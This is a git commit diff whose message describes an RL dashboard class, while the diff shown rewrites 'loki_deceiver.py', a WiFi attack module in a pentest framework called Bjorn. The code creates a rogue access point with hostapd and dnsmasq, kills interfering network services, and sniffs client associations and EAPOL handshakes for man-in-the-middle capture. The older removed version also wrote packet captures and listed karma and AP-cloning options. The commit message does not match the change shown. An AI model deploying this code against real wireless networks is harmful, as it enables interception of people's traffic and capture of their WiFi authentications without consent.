Add RLUtils class for managing RL/AI dashboard endpoints

- Implemented methods for fetching AI stats, training history, and recent experiences.
- Added functionality to set operation mode (MANUAL, AUTO, AI) with appropriate handling.
- Included helper methods for querying the database and sending JSON responses.
- Integrated model metadata extraction for visualization purposes.
This commit is contained in:
Fabien POLLY
2026-02-18 22:36:10 +01:00
parent b8a13cc698
commit eb20b168a6
684 changed files with 53278 additions and 27977 deletions

View File

@@ -1,467 +1,257 @@
# WiFi deception tool for creating malicious access points and capturing authentications.
# Saves settings in `/home/bjorn/.settings_bjorn/loki_deceiver_settings.json`.
# Automatically loads saved settings if arguments are not provided.
# -i, --interface Wireless interface for AP creation (default: wlan0).
# -s, --ssid SSID for the fake access point (or target to clone).
# -c, --channel WiFi channel (default: 6).
# -p, --password Optional password for WPA2 AP.
# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/wifi).
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
loki_deceiver.py -- WiFi deception tool for BJORN.
Creates rogue access points and captures authentications/handshakes.
Requires: hostapd, dnsmasq, airmon-ng.
"""
import os
import json
import argparse
from datetime import datetime
import logging
import subprocess
import signal
import time
import threading
import scapy.all as scapy
from scapy.layers.dot11 import Dot11, Dot11Beacon, Dot11Elt
import time
import re
import datetime
from typing import Any, Dict, List, Optional
from logger import Logger
try:
import scapy.all as scapy
from scapy.layers.dot11 import Dot11, Dot11Beacon, Dot11Elt
HAS_SCAPY = True
try:
from scapy.all import AsyncSniffer # type: ignore
except Exception:
AsyncSniffer = None
try:
from scapy.layers.dot11 import EAPOL
except ImportError:
EAPOL = None
except ImportError:
HAS_SCAPY = False
scapy = None
Dot11 = Dot11Beacon = Dot11Elt = EAPOL = None
AsyncSniffer = None
logger = Logger(name="loki_deceiver.py")
# -------------------- Action metadata --------------------
b_class = "LokiDeceiver"
b_module = "loki_deceiver"
b_enabled = 0
b_status = "loki_deceiver"
b_port = None
b_service = "[]"
b_trigger = "on_start"
b_parent = None
b_action = "aggressive"
b_priority = 20
b_cooldown = 0
b_rate_limit = None
b_timeout = 1200
b_max_retries = 1
b_stealth_level = 2 # Very noisy (Rogue AP)
b_risk_level = "high"
b_enabled = 1
b_tags = ["wifi", "ap", "rogue", "mitm"]
b_category = "exploitation"
b_name = "Loki Deceiver"
b_description = "Creates a rogue access point to capture WiFi authentications and perform MITM."
b_author = "Bjorn Team"
b_version = "2.0.2"
b_icon = "LokiDeceiver.png"
# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
# Default settings
DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/wifi"
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "loki_deceiver_settings.json")
b_args = {
"interface": {
"type": "text",
"label": "Wireless Interface",
"default": "wlan0"
},
"ssid": {
"type": "text",
"label": "AP SSID",
"default": "Bjorn_Free_WiFi"
},
"channel": {
"type": "number",
"label": "Channel",
"min": 1,
"max": 14,
"default": 6
},
"password": {
"type": "text",
"label": "WPA2 Password (Optional)",
"default": ""
}
}
class LokiDeceiver:
def __init__(self, interface, ssid, channel=6, password=None, output_dir=DEFAULT_OUTPUT_DIR):
self.interface = interface
self.ssid = ssid
self.channel = channel
self.password = password
self.output_dir = output_dir
self.original_mac = None
self.captured_handshakes = []
self.captured_credentials = []
self.active = False
def __init__(self, shared_data):
self.shared_data = shared_data
self.hostapd_proc = None
self.dnsmasq_proc = None
self.tcpdump_proc = None
self._sniffer = None
self.active_clients = set()
self.stop_event = threading.Event()
self.lock = threading.Lock()
def setup_interface(self):
"""Configure wireless interface for AP mode."""
try:
# Kill potentially interfering processes
subprocess.run(['sudo', 'airmon-ng', 'check', 'kill'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Stop NetworkManager
subprocess.run(['sudo', 'systemctl', 'stop', 'NetworkManager'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Save original MAC
self.original_mac = self.get_interface_mac()
# Enable monitor mode
subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'down'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
subprocess.run(['sudo', 'iw', self.interface, 'set', 'monitor', 'none'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'up'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
logging.info(f"Interface {self.interface} configured in monitor mode")
return True
except Exception as e:
logging.error(f"Failed to setup interface: {e}")
return False
def _setup_monitor_mode(self, iface: str):
logger.info(f"LokiDeceiver: Setting {iface} to monitor mode...")
subprocess.run(['sudo', 'airmon-ng', 'check', 'kill'], capture_output=True)
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'down'], capture_output=True)
subprocess.run(['sudo', 'iw', iface, 'set', 'type', 'monitor'], capture_output=True)
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'up'], capture_output=True)
def get_interface_mac(self):
"""Get the MAC address of the wireless interface."""
try:
result = subprocess.run(['ip', 'link', 'show', self.interface],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if result.returncode == 0:
mac = re.search(r'link/ether ([0-9a-f:]{17})', result.stdout)
if mac:
return mac.group(1)
except Exception as e:
logging.error(f"Failed to get interface MAC: {e}")
return None
def _create_configs(self, iface, ssid, channel, password):
# hostapd.conf
h_conf = [
f'interface={iface}',
'driver=nl80211',
f'ssid={ssid}',
'hw_mode=g',
f'channel={channel}',
'macaddr_acl=0',
'ignore_broadcast_ssid=0'
]
if password:
h_conf.extend([
'auth_algs=1',
'wpa=2',
f'wpa_passphrase={password}',
'wpa_key_mgmt=WPA-PSK',
'wpa_pairwise=CCMP',
'rsn_pairwise=CCMP'
])
h_path = '/tmp/bjorn_hostapd.conf'
with open(h_path, 'w') as f:
f.write('\n'.join(h_conf))
def create_ap_config(self):
"""Create configuration for hostapd."""
try:
config = [
'interface=' + self.interface,
'driver=nl80211',
'ssid=' + self.ssid,
'hw_mode=g',
'channel=' + str(self.channel),
'macaddr_acl=0',
'ignore_broadcast_ssid=0'
]
if self.password:
config.extend([
'auth_algs=1',
'wpa=2',
'wpa_passphrase=' + self.password,
'wpa_key_mgmt=WPA-PSK',
'wpa_pairwise=CCMP',
'rsn_pairwise=CCMP'
])
config_path = '/tmp/hostapd.conf'
with open(config_path, 'w') as f:
f.write('\n'.join(config))
return config_path
except Exception as e:
logging.error(f"Failed to create AP config: {e}")
return None
# dnsmasq.conf
d_conf = [
f'interface={iface}',
'dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h',
'dhcp-option=3,192.168.1.1',
'dhcp-option=6,192.168.1.1',
'server=8.8.8.8',
'log-queries',
'log-dhcp'
]
d_path = '/tmp/bjorn_dnsmasq.conf'
with open(d_path, 'w') as f:
f.write('\n'.join(d_conf))
return h_path, d_path
def setup_dhcp(self):
"""Configure DHCP server using dnsmasq."""
try:
config = [
'interface=' + self.interface,
'dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h',
'dhcp-option=3,192.168.1.1',
'dhcp-option=6,192.168.1.1',
'server=8.8.8.8',
'log-queries',
'log-dhcp'
]
config_path = '/tmp/dnsmasq.conf'
with open(config_path, 'w') as f:
f.write('\n'.join(config))
# Configure interface IP
subprocess.run(['sudo', 'ifconfig', self.interface, '192.168.1.1', 'netmask', '255.255.255.0'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
return config_path
except Exception as e:
logging.error(f"Failed to setup DHCP: {e}")
return None
def start_ap(self):
"""Start the fake access point."""
try:
if not self.setup_interface():
return False
hostapd_config = self.create_ap_config()
dhcp_config = self.setup_dhcp()
if not hostapd_config or not dhcp_config:
return False
# Start hostapd
self.hostapd_process = subprocess.Popen(
['sudo', 'hostapd', hostapd_config],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
# Start dnsmasq
self.dnsmasq_process = subprocess.Popen(
['sudo', 'dnsmasq', '-C', dhcp_config],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
self.active = True
logging.info(f"Access point {self.ssid} started on channel {self.channel}")
# Start packet capture
self.start_capture()
return True
except Exception as e:
logging.error(f"Failed to start AP: {e}")
return False
def start_capture(self):
"""Start capturing wireless traffic."""
try:
# Start tcpdump for capturing handshakes
handshake_path = os.path.join(self.output_dir, 'handshakes')
os.makedirs(handshake_path, exist_ok=True)
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
pcap_file = os.path.join(handshake_path, f"capture_{timestamp}.pcap")
self.tcpdump_process = subprocess.Popen(
['sudo', 'tcpdump', '-i', self.interface, '-w', pcap_file],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
# Start sniffing in a separate thread
self.sniffer_thread = threading.Thread(target=self.packet_sniffer)
self.sniffer_thread.start()
except Exception as e:
logging.error(f"Failed to start capture: {e}")
def packet_sniffer(self):
"""Sniff and process packets."""
try:
scapy.sniff(iface=self.interface, prn=self.process_packet, store=0,
stop_filter=lambda p: not self.active)
except Exception as e:
logging.error(f"Sniffer error: {e}")
def process_packet(self, packet):
"""Process captured packets."""
try:
if packet.haslayer(Dot11):
# Process authentication attempts
if packet.type == 0 and packet.subtype == 11: # Authentication
self.process_auth(packet)
# Process association requests
elif packet.type == 0 and packet.subtype == 0: # Association request
self.process_assoc(packet)
# Process EAPOL packets for handshakes
elif packet.haslayer(EAPOL):
self.process_handshake(packet)
except Exception as e:
logging.error(f"Error processing packet: {e}")
def process_auth(self, packet):
"""Process authentication packets."""
try:
if packet.addr2: # Source MAC
with self.lock:
self.captured_credentials.append({
'type': 'auth',
'mac': packet.addr2,
'timestamp': datetime.now().isoformat()
})
except Exception as e:
logging.error(f"Error processing auth packet: {e}")
def process_assoc(self, packet):
"""Process association packets."""
try:
if packet.addr2: # Source MAC
with self.lock:
self.captured_credentials.append({
'type': 'assoc',
'mac': packet.addr2,
'timestamp': datetime.now().isoformat()
})
except Exception as e:
logging.error(f"Error processing assoc packet: {e}")
def process_handshake(self, packet):
"""Process EAPOL packets for handshakes."""
try:
if packet.addr2: # Source MAC
with self.lock:
self.captured_handshakes.append({
'mac': packet.addr2,
'timestamp': datetime.now().isoformat()
})
except Exception as e:
logging.error(f"Error processing handshake packet: {e}")
def save_results(self):
"""Save captured data to JSON files."""
try:
os.makedirs(self.output_dir, exist_ok=True)
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
results = {
'ap_info': {
'ssid': self.ssid,
'channel': self.channel,
'interface': self.interface
},
'credentials': self.captured_credentials,
'handshakes': self.captured_handshakes
}
output_file = os.path.join(self.output_dir, f"results_{timestamp}.json")
with open(output_file, 'w') as f:
json.dump(results, f, indent=4)
logging.info(f"Results saved to {output_file}")
except Exception as e:
logging.error(f"Failed to save results: {e}")
def cleanup(self):
"""Clean up resources and restore interface."""
try:
self.active = False
# Stop processes
for process in [self.hostapd_process, self.dnsmasq_process, self.tcpdump_process]:
if process:
process.terminate()
process.wait()
# Restore interface
if self.original_mac:
subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'down'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
subprocess.run(['sudo', 'iw', self.interface, 'set', 'type', 'managed'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'up'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Restart NetworkManager
subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
logging.info("Cleanup completed")
except Exception as e:
logging.error(f"Error during cleanup: {e}")
def save_settings(interface, ssid, channel, password, output_dir):
"""Save settings to JSON file."""
try:
os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True)
settings = {
"interface": interface,
"ssid": ssid,
"channel": channel,
"password": password,
"output_dir": output_dir
}
with open(SETTINGS_FILE, 'w') as f:
json.dump(settings, f)
logging.info(f"Settings saved to {SETTINGS_FILE}")
except Exception as e:
logging.error(f"Failed to save settings: {e}")
def load_settings():
"""Load settings from JSON file."""
if os.path.exists(SETTINGS_FILE):
try:
with open(SETTINGS_FILE, 'r') as f:
return json.load(f)
except Exception as e:
logging.error(f"Failed to load settings: {e}")
return {}
def main():
parser = argparse.ArgumentParser(description="WiFi deception tool")
parser.add_argument("-i", "--interface", default="wlan0", help="Wireless interface")
parser.add_argument("-s", "--ssid", help="SSID for fake AP")
parser.add_argument("-c", "--channel", type=int, default=6, help="WiFi channel")
parser.add_argument("-p", "--password", help="WPA2 password")
parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory")
# Honeypot options
parser.add_argument("--captive-portal", action="store_true", help="Enable captive portal")
parser.add_argument("--clone-ap", help="SSID to clone and impersonate")
parser.add_argument("--karma", action="store_true", help="Enable Karma attack mode")
# Advanced options
parser.add_argument("--beacon-interval", type=int, default=100, help="Beacon interval in ms")
parser.add_argument("--max-clients", type=int, default=10, help="Maximum number of clients")
parser.add_argument("--timeout", type=int, help="Runtime duration in seconds")
args = parser.parse_args()
settings = load_settings()
interface = args.interface or settings.get("interface")
ssid = args.ssid or settings.get("ssid")
channel = args.channel or settings.get("channel")
password = args.password or settings.get("password")
output_dir = args.output or settings.get("output_dir")
# Load advanced settings
captive_portal = args.captive_portal or settings.get("captive_portal", False)
clone_ap = args.clone_ap or settings.get("clone_ap")
karma = args.karma or settings.get("karma", False)
beacon_interval = args.beacon_interval or settings.get("beacon_interval", 100)
max_clients = args.max_clients or settings.get("max_clients", 10)
timeout = args.timeout or settings.get("timeout")
if not interface:
logging.error("Interface is required. Use -i or save it in settings")
return
# Clone AP if requested
if clone_ap:
logging.info(f"Attempting to clone AP: {clone_ap}")
clone_info = scan_for_ap(interface, clone_ap)
if clone_info:
ssid = clone_info['ssid']
channel = clone_info['channel']
logging.info(f"Successfully cloned AP settings: {ssid} on channel {channel}")
else:
logging.error(f"Failed to find AP to clone: {clone_ap}")
def _packet_callback(self, packet):
if self.shared_data.orchestrator_should_exit:
return
# Save all settings
save_settings(
interface=interface,
ssid=ssid,
channel=channel,
password=password,
output_dir=output_dir,
captive_portal=captive_portal,
clone_ap=clone_ap,
karma=karma,
beacon_interval=beacon_interval,
max_clients=max_clients,
timeout=timeout
)
# Create and configure deceiver
deceiver = LokiDeceiver(
interface=interface,
ssid=ssid,
channel=channel,
password=password,
output_dir=output_dir,
captive_portal=captive_portal,
karma=karma,
beacon_interval=beacon_interval,
max_clients=max_clients
)
try:
# Start the deception
if deceiver.start():
logging.info(f"Access point {ssid} started on channel {channel}")
if packet.haslayer(Dot11):
addr2 = packet.addr2 # Source MAC
if addr2 and addr2 not in self.active_clients:
# Association request or Auth
if packet.type == 0 and packet.subtype in [0, 11]:
with self.lock:
self.active_clients.add(addr2)
logger.success(f"LokiDeceiver: New client detected: {addr2}")
self.shared_data.log_milestone(b_class, "ClientConnected", f"MAC: {addr2}")
if timeout:
logging.info(f"Running for {timeout} seconds")
time.sleep(timeout)
deceiver.stop()
else:
logging.info("Press Ctrl+C to stop")
while True:
time.sleep(1)
except KeyboardInterrupt:
logging.info("Stopping Loki Deceiver...")
except Exception as e:
logging.error(f"Unexpected error: {e}")
finally:
deceiver.stop()
logging.info("Cleanup completed")
if EAPOL and packet.haslayer(EAPOL):
logger.success(f"LokiDeceiver: EAPOL packet captured from {addr2}")
self.shared_data.log_milestone(b_class, "Handshake", f"EAPOL from {addr2}")
def execute(self, ip, port, row, status_key) -> str:
iface = getattr(self.shared_data, "loki_deceiver_interface", "wlan0")
ssid = getattr(self.shared_data, "loki_deceiver_ssid", "Bjorn_AP")
channel = int(getattr(self.shared_data, "loki_deceiver_channel", 6))
password = getattr(self.shared_data, "loki_deceiver_password", "")
timeout = int(getattr(self.shared_data, "loki_deceiver_timeout", 600))
output_dir = getattr(self.shared_data, "loki_deceiver_output", "/home/bjorn/Bjorn/data/output/wifi")
logger.info(f"LokiDeceiver: Starting Rogue AP '{ssid}' on {iface}")
self.shared_data.log_milestone(b_class, "Startup", f"Creating AP: {ssid}")
try:
self.stop_event.clear()
# self._setup_monitor_mode(iface) # Optional depending on driver
h_path, d_path = self._create_configs(iface, ssid, channel, password)
# Set IP for interface
subprocess.run(['sudo', 'ifconfig', iface, '192.168.1.1', 'netmask', '255.255.255.0'], capture_output=True)
# Start processes
# Use DEVNULL to avoid blocking on unread PIPE buffers.
self.hostapd_proc = subprocess.Popen(
['sudo', 'hostapd', h_path],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
self.dnsmasq_proc = subprocess.Popen(
['sudo', 'dnsmasq', '-C', d_path, '-k'],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
# Start sniffer (must be stoppable to avoid leaking daemon threads).
if HAS_SCAPY and scapy and AsyncSniffer:
try:
self._sniffer = AsyncSniffer(iface=iface, prn=self._packet_callback, store=False)
self._sniffer.start()
except Exception as sn_e:
logger.warning(f"LokiDeceiver: sniffer start failed: {sn_e}")
self._sniffer = None
start_time = time.time()
while time.time() - start_time < timeout:
if self.shared_data.orchestrator_should_exit:
break
# Check if procs still alive
if self.hostapd_proc.poll() is not None:
logger.error("LokiDeceiver: hostapd crashed.")
break
# Progress report
elapsed = int(time.time() - start_time)
prog = int((elapsed / timeout) * 100)
self.shared_data.bjorn_progress = f"{prog}%"
if elapsed % 60 == 0:
self.shared_data.log_milestone(b_class, "Status", f"Uptime: {elapsed}s | Clients: {len(self.active_clients)}")
time.sleep(2)
logger.info("LokiDeceiver: Stopping AP.")
self.shared_data.log_milestone(b_class, "Shutdown", "Stopping Rogue AP")
except Exception as e:
logger.error(f"LokiDeceiver error: {e}")
return "failed"
finally:
self.stop_event.set()
if self._sniffer is not None:
try:
self._sniffer.stop()
except Exception:
pass
self._sniffer = None
# Cleanup
for p in [self.hostapd_proc, self.dnsmasq_proc]:
if p:
try: p.terminate(); p.wait(timeout=5)
except: pass
# Restore NetworkManager if needed (custom logic based on usage)
# subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'], capture_output=True)
return "success"
if __name__ == "__main__":
# Set process niceness to high priority
try:
os.nice(-10)
except:
logging.warning("Failed to set process priority. Running with default priority.")
# Start main function
main()
from init_shared import shared_data
loki = LokiDeceiver(shared_data)
loki.execute("0.0.0.0", None, {}, "loki_deceiver")